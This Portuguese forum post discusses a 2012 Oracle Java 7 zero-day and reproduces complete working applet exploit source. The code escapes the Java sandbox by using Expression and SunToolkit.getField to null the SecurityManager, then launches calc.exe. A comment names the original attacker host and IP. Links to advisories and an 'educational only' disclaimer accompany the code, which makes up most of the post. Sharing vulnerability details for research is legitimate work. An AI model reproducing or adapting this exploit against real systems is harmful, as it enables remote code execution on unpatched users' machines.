Ir para o conteúdo
apocsantos

Publicada Exploit ZeroDay para Java

Mensagens Recomendadas

apocsantos

Oracle Java JRE 1,7 Expression.execute () e SunToolkit.getField () falham a restringir o acesso ao código privilegiado

Já existem várias publicações sobre este exploit, apesar de não haver ainda um patch definitivo, já existe patchs alternativos. Este exploit apenas afecta browsers e aplicações que corram JDK e JRE.

Link do alerta da Oracle

Link para o US-CERT onde se encontram disponiveis patch's não oficiais e mais informações

Link para blog com mais informações e informação de como verificar se se está vulnerável

Abaixo fica o código que se encontra disponivel, sobre o exploit, para que quem se interesse possa estudar, apenas para fins de pesquisa.

//
// CVE-2012-XXXX Java 0day
//
// reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
//
// secret host / ip : ok.aa24.net / 59.120.154.62
//
// regurgitated by jduck
//
// probably a metasploit module soon...
//
package cve2012xxxx;
import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.security.cert.Certificate;
public class Gondvv extends Applet
{
   public Gondvv()
   {
   }
   public void disableSecurity()
    throws Throwable
   {
    Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
    Permissions localPermissions = new Permissions();
    localPermissions.add(new AllPermission());
    ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
    AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
	    localProtectionDomain
    });
    SetField(Statement.class, "acc", localStatement, localAccessControlContext);
    localStatement.execute();
   }
   private Class GetClass(String paramString)
    throws Throwable
   {
    Object arrayOfObject[] = new Object[1];
    arrayOfObject[0] = paramString;
    Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
    localExpression.execute();
    return (Class)localExpression.getValue();
   }
   private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
    throws Throwable
   {
    Object arrayOfObject[] = new Object[2];
    arrayOfObject[0] = paramClass;
    arrayOfObject[1] = paramString;
    Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
    localExpression.execute();
    ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
   }
   public void init()
   {
    try
    {
	    disableSecurity();
	    Process localProcess = null;
	    localProcess = Runtime.getRuntime().exec("calc.exe");
	    if(localProcess != null);
		   localProcess.waitFor();
    }
    catch(Throwable localThrowable)
    {
	    localThrowable.printStackTrace();
    }
   }
   public void paint(Graphics paramGraphics)
   {
    paramGraphics.drawString("Loading", 50, 25);
   }
}

Segundo li esta manha, ainda existem demasiados equipamentos vulneráveis e uma vez que já existe patch para a falha em causa, pareceu-me bem, partilhar o conhecimento.

Este post destina-se apenas a fins informativos e educativos, sendo o uso da sua informação bem como informação constante nos links disponibilizados, da responsabilidade de quem a utilizar.

Cordiais cumprimentos,

Apocsantos


"A paciência é uma das coisas que se aprendeu na era do 48k" O respeito é como a escrita de código, uma vez perdido, dificilmente se retoma o habito"

assinatura.jpg

Partilhar esta mensagem


Ligação para a mensagem
Partilhar noutros sites

Crie uma conta ou ligue-se para comentar

Só membros podem comentar

Criar nova conta

Registe para ter uma conta na nossa comunidade. É fácil!

Registar nova conta

Entra

Já tem conta? Inicie sessão aqui.

Entrar Agora

×

Aviso Sobre Cookies

Ao usar este site você aceita os nossos Termos de Uso e Política de Privacidade. Este site usa cookies para disponibilizar funcionalidades personalizadas. Para mais informações visite esta página.